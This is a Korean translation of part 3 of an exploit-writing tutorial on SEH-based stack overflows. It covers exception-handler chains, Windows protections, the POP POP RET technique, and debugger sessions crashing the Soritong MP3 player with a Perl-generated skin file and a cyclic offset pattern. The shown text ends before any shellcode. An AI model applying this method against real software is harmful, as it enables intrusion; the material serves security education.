Microsoft Word - Exploit writing tutorial part 3.doc

Size: px
Start display at page:

Download "Microsoft Word - Exploit writing tutorial part 3.doc"

Transcription

1 Exploit writing tutorial part 3: SEH based exploits 1 By Peter Van Eeckhoutte 편역 : vangelis(vangelis@s0f.org) 이튜토리얼의첫두부분에서고전적인스택기반의오버플로우와쉘코드로점프하는다양한기술을이용해신뢰할수있는 exploit을만드는방법에대해알아보았다. 앞에서사용한예는 EIP를직접적으로덮어쓰고, 공격에이용될쉘코드를저장할만큼충분한버퍼공간도있었다. 하지만모든오버플로우공격이그렇게쉽지는않다. 여기서는 exception handler 를이용한공격기법에대해알아볼것이다. exception handler 란무엇인가? exception handler는어플리케이션이 exception( 역자추가 : 프로그램의정상적인실행흐름을변경하는특별한상태 ) 을일으킬때처리할목적을가진어플리케이션내부에쓰여진코드부분이며, 전형적인 exception handler는다음과같다 : try { //run stuff. If an exception occurs, go to <catch> code } catch { // run stuff when exception occurs } 1 ( 편역자주 ) 이문서는총 7개의시리즈로되어있으며, 그중세번째이다. 이문서는편역자의개인공부과정에서만들어진것입니다. 그래서원문의내용과일부다를수있습니다. 좀더정확한이해를위해서는원문을참고하길권장하며, 첫번째와두번째시리즈를먼저이해하면좋을것입니다. 이글은원문을무조건적으로번역하지는않을것이며, 실제테스트는역자의컴퓨터에서이루어진것입니다. 그러나원문의가치를해치지않기위해원문의내용과과정에충실할것입니다. 이글에잘못된부분이나오자가있을경우지적해주십시오.

2 위의코드에서 try와 catch 블록이어떻게서로관련되어있으며, 스택에어떻게위치해있는지를아래그림을살펴보자. Windows는예외를캐치하는기본 SEH(Structured Exception Handler) 를가지고있다. 만약 Windows가예외를캐치하면 xxx has encountered a problem and needs to close 라는팝업창을보게될것이다. 이것은보통기본 handler가작동한결과일때가많다. 안정적인소프트웨어를만들기 (write) 위해프로그래머는자신이사용하는개발언어가지정하는 exception handler들을사용하려고하지만결국 Windows 기본 SEH에의존한다. 언어 EH를사용할때예외핸들링코드에대한필요한링크와호출이기본 OS에따라생성된다. 그리고 exception handler가사용되지않을때또는이용가능한 exception handler가그예외를처리하지못할때 Windows SEH가사용될것이다 (UnhandledExceptionFilter). 그래서에러나 illegal instruction이발생할경우, 어플리케이션은예외를잡을기회를가지게되고, 그것으로뭔가를한다. 만약어떤 exception handler도어플리케이션에정의되어있지않을경우 OS가그예외를캐치하여팝업창을보여준다. 어플리케이션이캐치코드로갈수있기위해서는 exception handler 코드에대한포인터는각코드블록에대해스택에저장된다. 각코드블록은그자신의스택프레임을가지고있으며, 그 exception handler에대한포인터는이스택프레임의일부이다. 다시말해, 각함수 / 프로시저는자신의스택프레임을가진다. 만약 exception handler가이함수 / 프로시저에구현된다면그 exception handler는그자신의스책프레임을가진다. 프레임기반의 exception handler에대한정보는스택상에서 exception_registration 구조체에저장되어있다. 이구조체 (SEH 레코드라고도불린다 ) 는 8 바이트이며, 2 개 (4 바이트 ) 의요소를가진다 :

3 다음 exception_registration 구조체에대한포인터 ( 현재 handler가예외처리를하지못할경우다음 SEH record에대한포인터 ) 포인터, exception handler 의실제코드의주소 (SE Handler) SEH 체인컴포넌트상에서스택의모양 : 메인데이터블록 ( 어플리케이션의 main 함수의데이터블록, 또는 TEB(Thread Environment Block / TIB(Thread Information Block)) 의꼭대기에 SEH chain의꼭대기에대한포인터가위치한다. 이 SEH chain은가끔 FS:[0] chain으로불리기도한다. 그래서, 인텔머신에서디스어셈블된 SEH 코드를볼때 FS:[0] 으로부터 DWORD ptr을이동시키는명령을보게된다. 이것은 exception handler가그쓰레드에대해설정되어있으며, 에러가발생할때에러를캐치할수있을것이라는것을확인시켜준다. 이명령에대한 opcode는 64A 이다. 만약이 opcode를찾지못할경우어플리케이션 / 쓰레드는 exception handler를전혀가지지않을것이다. Function Flowchart 를만들기위해 OllyGraph 라는 OllyDbg 플러그인을사용할수있다.

4 SEH chain의바닥은 FFFFFFFF에의해표시된다. 이것은프로그램의부적절한종료를일으키며, OS 핸들러가작동할것이다. 예를하나들어보자. 아래코드 (sehtets.exe) 를컴파일하여 windbg로실행파일을열어보자. 아직은그어플리케이션을시작은시키지말고일시중단상태로남겨둬라. #include<stdio.h> #include<string.h> #include<windows.h> int ExceptionHandler(void); int main(int argc,char *argv[]){ char temp[512]; printf("application launched"); try { strcpy(temp,argv[1]); } except (ExceptionHandler()){ } return 0; } int ExceptionHandler(void){ printf("exception"); return 0; } 로딩된모듈들을살펴보자. Executable search path is: ModLoad: ModLoad: 7c c9ce000 ModLoad: 7c c92f000 ModLoad: 77f ff8000 ModLoad: 77d e12000 ModLoad: 77ef f01000 C:\Documents and Settings\free\ 바탕화면 \sehtest.exe C:\WINDOWS\system32\ntdll.dll C:\WINDOWS\system32\kernel32.dll C:\WINDOWS\system32\ADVAPI32.DLL C:\WINDOWS\system32\RPCRT4.dll C:\WINDOWS\system32\Secur32.dll

5 Sehtest.exe 는 와 사이에있다. 다음과같이 opcode 를찾는다. 0:000> s l A f 64 a c4 d...pd.% cf 64 a c4 d...pd.% a89f 64 a c4 d...pd.% abff 64 a c4 d...pd.%... 이것은 exception handler 가등록되어있다는증거다. TEB 를덤퍼해보자. 0:000> d fs:[0] 003b: ff d p b: e d0 fd 7f b: dc fc b: e0 fd 7f b: b: b: b: :000>!exchain 0012ff70: sehtest+13e0 (004013e0) 0012ffb0: sehtest+13e0 (004013e0) 0012ffe0: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll kernel32!validatelocale+2b0 (7c839af0) Invalid exception stack at ffffffff 이포인터는 0x0012ff70(SEH chain 의시작 ) 를가리킨다. 이영역을살펴보면다음과같다. 0:000> d 0012ff ff70 b0 ff e @.8.B ff80 c0 ff a e @...p.C. 0012ff90 c0 0d e0 fd 7f..C ffa c0 04 2d 20 f5 94 ff f ffb0 e0 ff e @.`.B ffc0 f0 ff e7 6f 81 7c o ffd0 00 e0 fd 7f c0 c8 ff f ffe0 ff ff ff ff f0 9a 83 7c f0 6f 81 7c o....

6 ff ff ff ff는 SEH chain의끝을나타낸다. 이것은정상인데, 어플리케이션이아직시작하지않았기때문이다 (windbg는여전히 pause 상태이다 ). 만약 Ollydbg의플러그인 Ollygraph를설치했다면 Ollydbg로실행파일을열어그래프를만들고, exception handler가설치되어있는지그여부를확인할수있다. ( 역자첨가 : 아래보는것처럼 Ollygraph 를실행시키지않더라도확인할수있다.) 0:000> d fs:[0] 003b: ff d p b: e f0 fd 7f b: b b p b: fd 7f b: b:

7 003b: b: :000> d 0012ff ff70 b0 ff e @.8.B ff80 c0 ff a e @...p.C. 0012ff90 c0 0d fd 7f..C ffa c0 04 fd b7 f8 94 ff f ffb0 e0 ff e @.`.B ffc0 f0 ff e7 6f 81 7c o ffd fd 7f c0 c8 ff f ffe0 ff ff ff ff f0 9a 83 7c f0 6f 81 7c o.... main 함수에대한 TEB이설정되어있다. main 함수에대한 SEH chain은 0x0012ff70을가리키고, 이곳에는 exception handler가열거되어있으며, exception handler 함수 (0x0012ffe0) 를가리킬것이다. Ollydbg 의메뉴 View 에서 SEH chain 을클릭하면다음과같이쉽게확인할수있다.

8 여기서우리는 Exception Handler 함수 ExceptionHandler() 함수를볼수있다. 위의결과를보면 exception handler들은서로연결 (connect) 되어있거나링크 (link) 되어있다. 이것들은스택상에서 linked list chain을형성하며, 스택의바닥에위치해있다. Exception이일어나면 Windows ntdll.dll이작동하고, SEH chain의헤더를저장하고, 그리스트들을거쳐적절한핸들러를찾으려고한다. 만약핸들러가발견되지않는다면 0xFFFFFFFF 다음에위치한기본 Win32 handler가사용될것이다. SEH 에대해서는 Matt Pietrek 의글 2 을참고해라. Windows XP SP1에서 SEH의변화, 그리고 GS/DEP/SafeSEH의영향, 그리고 exploit 작성에대한다른보호메커니즘 XOR SEH 덮어쓰기에기반한 exploit을만들기위해우리는 Windows XP SP1 이전과이후를구분할필요가있다. Windows XP SP1 이후에는 exception handler가호출되기이전에모든레지스터들은서로 XOR되기때문에모두가 0x 을가리키도록하고, 이것은 exploit을만드는것을어렵게한다 ( 하지만불가능하게는하지않는다 ). 이것은하나또는그이상의레지스터가첫 exception에서공격자의 payload를가리키지만 EH가작동할때이레지스터들은다시클리어된다 ( 그래서쉘코드를실행하기위해직접그레지스터들로점프할수없다 ). 이에대해서는나중에알아볼것이다. DEP & Stack Cookies Windows XP SP2와 Windows 2003에서 Stack Cookie(C++ 컴파일러옵션을통해 ) 와 DEP(Data Execution Prevention) 이소개되었다. 필자는이두가지에대해별도로글을쓰도록하겠다. 일단이두가지테크닉은 exploit을만드는것을아주어렵게한다는것만일단알아두자. SafeSEH 몇가지추가보호장치가 SEH 덮어쓰기를막기위해컴파일러에추가되었다. 이보호메커니즘은 /safeseh 옵션으로컴파일된모든모듈에활성화된다. 2

9 Windows2003 Windows 2003 서버에서더많은보호장치가추가되었다. 이에대해서는이글에서언급하지않고이시리즈 6에서논의할것이다. XOR, SafeSEH,... 우리는쉘코드로점프하기위해 SEH를이용할수있는가? XOR 와 SafeSEH 보호장치를극복하고공격에성공할방법이있다. 레지스터가 xor 되기때문에어떤레지스터로간단하게점프할수없기때문에 dll에서일련의명령에대한호출이필요할것이다. (dll이 safeseh로컴파일이되어있지않을경우, 제대로작동하는 exploit을만들기위해 OS 특정 dll의메모리공간으로부터의호출을사용하는것을피하고, 어플리케이션 dll로부터의주소를사용하도록노력해야한다. 이것은 OS 버전과상관없이주소가같을가능성이높기때문이다. 하지만만약 dll이없고, 로딩된 safeseh OS 모듈이없다면모듈은명령 (instruction) 에대한호출을가지고있으며, 이것역시제대로작동할수있다.) 이기술이면의이론은다음과같다 : 만약우리가주어진 exeception을처리하기위해사용될 SE handler에대한포인터를덮어쓸수있다면, 그리고우리가어플리케이션이다른 exception(fake exception) 을일으키도록할수있다면어플리케이션이실제 exception handler 함수대신쉘코드로점프하도록함으로써통제권을가질수있을것이다. 이공격을할명령은 POP POP RET이다. 운영체제는 exception 핸들링루틴이실행되어다음 SEH 또는 SEH chain의끝으로이동할것이라는것을이해할것이다. Fake 명령은스택이아니라로딩된 dll이나 exe들에서찾아야한다. 로딩된모듈을스캐닝하고 SafeSEH로컴파일되었는지여부를확인시켜주는 Ollydbg 3 가있다. dll을스캐닝하여 SafeSEH로컴파일되어있지않은모듈로부터의 pop/pop/ret 주소를사용하는것이중요하다 ( 다음은역자의시스템에서확인한것이다 ). 3

10 보통, 다음 SEH 레코드에대한포인터는주소를가지고있다. 하지만 exploit을만들기위해 SE handler를덮어쓴바로직후에버퍼에있어야하는쉘코드에대한작은 jumpcode로그것을덮어쓸필요가있다. Pop pop ret 시퀀시는이코드가실행되도록할것이다. 다시말해서, 공격 payload 는다음을해야만한다. 1. exception을야기시킨다. 2. jumpcode로다음 SEH 레코드에대한포인터를덮어쓰고, 그래서그쉘코드로점프할수 있을것이다. 3. fake exception을수행하는명령에대한포인터로 SE handler를덮어쓴다. 4. 그쉘코드는덮어쓰인 SE Handler 바로뒤에있어야한다. 덮어쓰인 다음 SEH record에 대한포인터 에포함되어있는작은 jumpcode는그것으로점프할것이다. 앞에서설명한것처럼, 어플리케이션에 exception handler가없을수있으며 ( 이경우기본 OS Exception Handler가작동하고, 스택의바닥까지많은데이터를덮어쓸수있어야함 ), 또는어플리케이션이그자신의 exception handler들을사용한다. 전형적인 payload 는다음과같다 : [Junk][nSEH][SEH][Nop Shellcode] nseh = 쉘코드로의 jump 일때, 그리고 SEH 가 pop pop ret 에대해참고할경우,

11 SEH를덮어쓰기위한 universal address를찾아야한다. 이상적으로어플리케이션그자체로부터 dll들중의하나에서쓸만한 pop pop ret 시퀀시를찾도록노력해야한다. Exploit을만들기전에우리는 Ollydbg와 Windbg가 SEH 핸들링을추적하는데어떻게도움이될수있을지에대해알아봐야한다. 이글에서테스트에사용할프로그램은 2009 년 7 월 20 일에발표된취약점을바탕으로하고있다. Ollydbg 로 SEH 알아보기 일반적인스택기반의버퍼오버플로우를수행할때, 우리는리턴어드레스 (EIP) 를덮어쓰고, 어플리케이션이쉘코드로점프하게한다. SEH 오버플로우를할때는 EIP를덮어쓴후에도스택을계속해서덮어쓰고, 그래서기본 exception handler를덮어쓸수있게된다. 이에대해서는뒤에서자세하게다루겠다. 여기서테스트에사용할취약점을가진어플리케이션은 Soritong MP3 player 이며, 이취약점은 2009년 7월 20일에공개 5 되었다.( 역자추가 : Soritong이라는프로그램을개발한곳은 소리나라 라는우리나라업체이다.) 해당취약점은유효하지않은스킨이오버플로우를야기시킬수있다는것이다. 우리는 skin\default 폴더에 UI.txt라는파일을만든다음펄스크립트를사용할것이다. $uitxt = "ui.txt"; my $junk = "A" x 5000 ; open(myfile,">$uitxt") ; print myfile $junk; 이제 Soritong 프로그램을오픈한다. 오픈하면어플리케이션은조용히죽게된다 ( 아마도 exception handler가발생했기때문이며, 적절한 SEH 주소를찾을수없기때문이다 ). 먼저, 스택과 SEH chain을분명하게보여주기위해 Ollydbg로작업할것이다. Ollydbg를오픈하여 soritong.exe 실행파일을오픈한다. 그런다음어플리케이션을실행하기위해 play 버튼을누른다

12 잠시후에어플리케이션은죽고, 다음화면에서멈춘다.( 역자추가 : 역자의시스템에서실행한결과와원문에나온각종주소값들이같기때문에원문에나오는이미지를그대로사용한다.) Soritong은 0x0042E33에서죽었다. 그지점에서스택은 0x0012DA14에위치해있다. 스택의바닥 (0x0012DA6C) 에서우리는 FFFFFFFF를볼수있으며, 이것은 SEH chain의끝을가리키고있다. 직접적으로 0x0012DA14 아래에서 Soritong 프로그램에대한기본 SE handler의주소인 7E41882A를볼수있다. 이주소는 user32.dll의주소공간에위치한다.

13 스택상에서더높은몇몇주소들에서몇가지다른 exception handler를볼수있지만그것들모두가 OS( 이경우 ntdll) 의것이다. 그래서이어플리케이션 ( 또는적어도호출되어 exception을야기한함수 ) 은그자신의 exception handler 루틴을가지고있지않은것처럼보인다. Ollydbg의메뉴에서 View Threads를한다음, 해당어플리케이션의시작부분을가리키는첫번째쓰레드를선택, 오른쪽마우스클릭, dump thread data block 을선택하면 SEH chain에대한포인터를볼수있다.

14 그래서 exception handler가작동했다. 우리는우리가만든 ui.txt 파일을이용해 exception을야기시켰다. 어플리케이션은 SEH chian(0x0012df64) 으로점프했다. View 로가서 SEH chain 을오픈한다. SE handler 주소는 exception 을처리하기위해실행될필요가있는코드가위치한곳을가리킨다. SE handler는 4개의 A로덮어쓰여있다. Exception이핸들링된될때 EIP는 SE Handler에있는주소로덮어쓰일것이다. 우리가그핸들러의값을통제할수있기때문에우리는그것이우리자신의코드를실행시킬수있다. Windbg 로 SEH 알아보기 앞에서 Ollydbg 로한작업을 Windbg 로해보자. 먼저 Soritong 실행파일을 Windbg 로열어본다. Windbg는먼저파일을실행하기전에브레이크포인터를걸어둔다. 명령어 g(go) 를입력하여어플리케이션을실행시킨다 (F5를누르면된다 )..

15 Soritong 프로그램이시작되고, 잠시후죽게된다. Windbg는 first change exception 을캐치한다. 이것은 Windbg가 exception이있었다는것을목격했으며, 그 exception이해당어플리케이션에의해핸들링되기전에도 Windbg가그어플리케이션의흐름을멈추게했다는것을의미한다.

16 This exception may be expected and handled 라는메시지가보인다. 스택을살펴보자 : 00422e mov byte ptr [eax],dl ds:0023: =41 0:000> d esp 0012da a (" da24 94 da d da c 00 eb #( da44 01 a dc p da da ad 94 7c d4 ed $ da d cf 77 ff ff ff ff 2a 88 cf 77 W..w0..w...*..w 0012da74 9b b8 cf 77 0a bc b8 da d c...w...\ 0012da84 94 da bf fe ff ff b8 f a 여기서 ff ff ff ff 는 SEH chain 의끝을나타낸다.!analyze v 를실행하면다음결과를볼수있다. 0:000>!analyze v, ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: SoriTong!TmC13_5+3ea e mov byte ptr [eax],dl EXCEPTION_RECORD: ffffffff (.exr 0xffffffffffffffff) ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3) ExceptionCode: c (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: Attempt to write to address FAULTING_THREAD: 00000c9c PROCESS_NAME: SoriTong.exe

17 ADDITIONAL_DEBUG_TEXT: Use '!findthebuild' command to search for the target build information. If the build information is available, run '!findthebuild s ;.reload' to set symbol path and load symbols. FAULTING_MODULE: 7c ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000 ERROR_CODE: (NTSTATUS) 0xc "0x%08lx" EXCEPTION_CODE: (NTSTATUS) 0xc "0x%08lx" EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: WRITE_ADDRESS: FOLLOWUP_IP: SoriTong!TmC13_5+3ea e mov byte ptr [eax],dl BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE IP_ON_HEAP: IP_IN_FREE_BLOCK: FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from to 00422e33 STACK_TEXT:

18 WARNING: Stack unwind information not available. Following frames may be wrong. 0012fd SoriTong!TmC13_5+0x3ea3 0012fd3c x fd x fd x fd x fd4c x 중략 0012ffe x ffe x ffe x ffec x fff x fff x fff x fffc c 0x fffc c 0x SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: SoriTong!TmC13_5+3ea3 FOLLOWUP_NAME: MachineOwner MODULE_NAME: SoriTong IMAGE_NAME: SoriTong.exe STACK_COMMAND: ~0s ; kb BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c _SoriTong.exe!TmC13_5 Followup: MachineOwner

19 Exception record는 ffffffff를가리키는데, 이는해당어플리케이션이이오버플우에대해 exception handler를사용하지않았다는것을의미한다. Exception 이발생한후 TEB 를덤프해보면다음을볼수있다. 0:000> d fs:[0] 003b: fd c d b: e f0 fd 7f b: b c 0c c ).. 003b: c0 fd 7f b: e8 5b 62 e [b b: b: b: :000> 0x0012fd64 에 SEH chain 에대한포인터가있으며, 이영역은이제 A 들을가지고있다. 0:000> d 0012fd fd AAAAAAAAAAAAAAAA 0012fd AAAAAAAAAAAAAAAA 0012fd AAAAAAAAAAAAAAAA 0012fd AAAAAAAAAAAAAAAA 0012fda AAAAAAAAAAAAAAAA 0012fdb AAAAAAAAAAAAAAAA 0012fdc AAAAAAAAAAAAAAAA 0012fdd AAAAAAAAAAAAAAAA 0:000> exception chain 은다음을말해준다 : 0:000>!exchain 0012fd64: Invalid exception stack at :000> 우리는 exception handler를덮어썼다. 이제어플리케이션이그 exception을잡도록하고 ( 다시 g 를입력 ), 그결과를보자.

20 0:000> g (b00.c9c): Access violation code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx= ecx= edx=7c9332bc esi= edi= eip= esp=0012d644 ebp=0012d664 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl zr na pe nc efl= ????? 0:000> 결과를보면 eip 는 을가리키고, 우리는 EIP 를통제할수있다. 이제 exchain 결과를보자. 0:000>!exchain 0012d658: ntdll!rtlconvertulongtolargeinteger+7e (7c9332bc) 0012fd64: Invalid exception stack at Microsoft는!exploitable 6 이라는 Windbg라는확장프로그램을발표했는데, 이를다운로드받아서 Windbg 프로그램폴더안에있는 winext 폴더안에 msec.dll 파일을넣는다. 이모듈은주어진어플리케이션 crash/eception/access violation이공격이가능한것이진여부를결정하는데도움을준다. 그래서이것은 SEH 기반의 exploit에만제한되어있는것은아니다. 이 6

21 모듈을 Soritong 프로그램에적용한후, 첫 exception이발생한직후우리는다음과같은결과를볼수있다. (f78.ad0): Break instruction exception code (first chance) eax=00241eb4 ebx=7ffdc000 ecx= edx= esi=00241f48 edi=00241eb4 eip=7c93120e esp=0012fb20 ebp=0012fc94 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl nz na po nc efl= *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll ntdll!dbgbreakpoint: 7c93120e cc int 3 0:000> g ModLoad: 762e fd000 ModLoad: ModLoad: 73f feb000 ModLoad: C:\WINDOWS\system32\IMM32.DLL C:\WINDOWS\system32\LPK.DLL C:\WINDOWS\system32\USP10.dll C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common Controls_6595b64144ccf1df_ _x ww_ac3f9c03\comctl32.dll ModLoad: 5a a4b8000 ModLoad: ab000 ModLoad: e000 ModLoad: 3af af4c000 ModLoad: 72c c79000 ModLoad: ModLoad: 76be c0e000 ModLoad: 765c ModLoad: 77c c52000 ModLoad: 76c c68000 ModLoad: 72c c79000 ModLoad: ModLoad: 72c c68000 ModLoad: 77b ba5000 ModLoad: 77b b87000 ModLoad: ModLoad: ModLoad: 012e f000 ModLoad: 5b3d0000 5b ModLoad: 71a a0b000 ModLoad: 719e f7000 ModLoad: 719d d8000 ModLoad: 76e e8f000 C:\WINDOWS\system32\uxtheme.dll C:\WINDOWS\system32\MSCTF.dll C:\WINDOWS\system32\msctfime.ime C:\WINDOWS\system32\imekr70.ime C:\WINDOWS\system32\wdmaud.drv C:\WINDOWS\system32\setupapi.dll C:\WINDOWS\system32\WINTRUST.dll C:\WINDOWS\system32\CRYPT32.dll C:\WINDOWS\system32\MSASN1.dll C:\WINDOWS\system32\IMAGEHLP.dll C:\WINDOWS\system32\wdmaud.drv C:\WINDOWS\system32\setupapi.dll C:\WINDOWS\system32\msacm32.drv C:\WINDOWS\system32\MSACM32.dll C:\WINDOWS\system32\midimap.dll C:\Program Files\SoriTong\Player.dll C:\WINDOWS\system32\wmaudsdk.dll C:\WINDOWS\system32\DRMClien.DLL C:\WINDOWS\system32\strmdll.dll C:\WINDOWS\system32\WSOCK32.dll C:\WINDOWS\system32\WS2_32.dll C:\WINDOWS\system32\WS2HELP.dll C:\WINDOWS\system32\TAPI32.dll

22 ModLoad: 76e e3e000 C:\WINDOWS\system32\rtutils.dll (f78.ad0): Access violation code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx= ecx= edx= esi=001724cc edi=0012fd64 eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl nz ac po nc efl= *** WARNING: Unable to verify checksum for SoriTong.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe SoriTong!TmC13_5+0x3ea3: 00422e mov byte ptr [eax],dl ds:0023: =41 0:000>!load winext/msec.dll 0:000>!exploitable Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable User Mode Write AV starting at SoriTong!TmC13_5+0x ea3 (Hash=0x10660f5f.0x5d377d4d) User mode write access violations that are not near NULL are exploitable. 해당어플리케이션에 exception을전달하고 windbg가그 exception을캐칭한후다음결과를볼수있다. 0:000> g (238.a48): Access violation code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax= ebx= ecx= edx=7c9332bc esi= edi= eip= esp=0012d644 ebp=0012d664 iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 nv up ei pl zr na pe nc efl= ????? 0:000>!exploitable Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable Read Access Violation at the Instruction Pointer starting at Unknown 0x called from ntdll!rtlconvertulongtolargeinteger+0x a (Hash=0x527c5036.0x714f5b31) Access violations at the instruction pointer are exploitable if not near NULL.

23 점프하기위해레지스터에서발견되는쉘코드를사용할수있는가? 대답은 Yes와 no이다. Windows XP SP1 이전에는쉘코드를실행하기위해이레지스터들로직접점프할수있었다. 하지만 SP1 이후부터보호메커니즘이적용되었다. Exception handler가통제하기전에모든레지스터들은서로 XOR되어버리고, 모든레지스터들은모두 0x 를가리킨다. 이처럼 SEH가작동하면그레지스트들은쓸모가없어진다. RET 덮어쓰기에대한 SEH 기반의 Exploit 의장점 전형적인 RET 오버플로우에서 EIP를덮어쓴후쉘코드로점프하게한다. 이테크닉은잘작동하지만 dll에서 jmp 명령을발견할수없거나또는하드코딩된주소가필요할경우안정성문제를야기시킬수있으며, 쉘코드를저장할수없는버퍼크기문제때문에공격에실패할수도있다. 스택기반의오버플로우를발견하고 EIP를덮어쓸수있을때마다 SEH chain에도달하도록스택아래로추가로쓰려고하는것은가치가있다. 아래로추가로쓰기 (writing further down) 는이용가능한버퍼공간을더가질수있다는것을의미하고, 그리고동시에쓰레기값으로 EIP를덮어쓰기때문에 고전적인 exploit이 SEH exploit로변환되도록하면서 exception이자동으로실행이된다. SEH 기반의취약점을공격하는방법은? 쉽다. SEH 기반의 exploit에서 junk payload는먼저다음 SEH 포인터주소를덮어쓰고, 그런다음 SE Handler를덮어쓴다. 그다음쉘코드를놓는다. Exception이발생할때, 해당어플리케이션은 SE Handler로갈것이다. 그래서 SE Handler에뭔가를집어넣고, 그것이쉘코드로가도록할필요가있다. 이것은두번째 exception이가짜로발생하게하여어플리케이션이다음 SEH 포인터로가도록함으로써이루어진다. 다음 SEH가 SE Handler 앞에위치해있기때문에다음 SEH를이미덮어쓸수도있다. 쉘코드는 SE Handler 다음에위치해있다. 만약하나하나를같이놓게되면 SE Handler가 pop pop ret을실행하게할수있고, 이것은 EIP에다음 SEH에대한주소를높게되고, 이것은다음 SEH에있는코드를실행하게된다 ( 그래서다음 SEH에있는주소를놓는것대신다음 SEH에몇가지코드를놓는다 ). 이코드가해야할모든것은다음몇바이트로점프하고 (SE Handler가저장되어있는곳 ), 그런다음쉘코드가실행될것이다.

24 1st exception occurs : (1) (3) opcode in next SEH : jump over SE Handler to the shellcode V V [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ] opcode to do (3) Shellcode gets executed jump over pop pop ret SE Handler ^ (2) will pretend there s a second exception, puts address of next SEH location in EIP, so opcode gets executed 물론, 쉘코드가 SE Handler 바로뒤에있지않을수있으며, 첫몆바이트에추가쓰레기값이들어갈수도있다. 쉘코드의위치를파악하여그쉘코드로적절하게점프할수있는것이중요하다. SEH 기반의 exploit 으로쉘코드찾는방법? 먼저, 다음 SEH와 SEH에대한 offset을찾고, pop pop ret으로 SEH를덮어쓰고, 그런다음다음 SEH에브레이크포인터를놓는다. 이것은 exception이발생할때해당어플리케이션이브레이크하게하고, 그런다음쉘코드를찾을수있다. 아래섹션에서이방법에대해살펴볼것이다. Exploit 만들기 next SEH 와 SE Handler offset 찾기 우리는몇가지에대한 offset 을찾을필요가있다. jump to shellcode 로 next SEH 를덮어쓸위치에대한오프셋

25 현재 SE Handler 를덮어쓸위치에대한오프셋 ( next SEH 바로다음이어야하며, 우리는 fake exception 을실행시킬이뭔가를덮어쓸필요가있음 ) 쉘코드에대한오프셋 이를하는방법은독특한패턴으로 payload를채운다음이 3 가지위치를찾는것이다. 패턴은 metasploit으로만들면된다. 이제 ui.txt 파일을만든다. my $junk="a0aa1aa2aa3aa4aa5aa6aa7aa8aa9ab0ab1ab2ab3ab4ab5ab6ab7ab8ab9ac0ac1ac2ac3ac4ac5ac6ac7ac8ac9ad0ad1a d2ad3ad4ad5ad6ad7ad8ad9ae0ae1ae2ae3ae4ae5ae6ae7ae8ae9af0af1af2af3af4af5af6af7af8af9ag0ag1ag2ag3ag4ag5ag 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0 Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4A n5an6an7an8an9ao0ao1ao2ao3ao4ao5ao6ao7ao8ao9ap0ap1ap2ap3ap4ap5ap6ap7ap8ap9aq0aq1aq2aq3aq4aq5aq6aq7aq8aq 9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3 Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7A x8ax9ay0ay1ay2ay3ay4ay5ay6ay7ay8ay9az0az1az2az3az4az5az6az7az8az9ba0ba1ba2ba3ba4ba5ba6ba7ba8ba9bb0bb1bb 2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6 Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B i1bi2bi3bi4bi5bi6bi7bi8bi9bj0bj1bj2bj3bj4bj5bj6bj7bj8bj9bk0bk1bk2bk3bk4bk5bk6bk7bk8bk9bl0bl1bl2bl3bl4bl 5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9

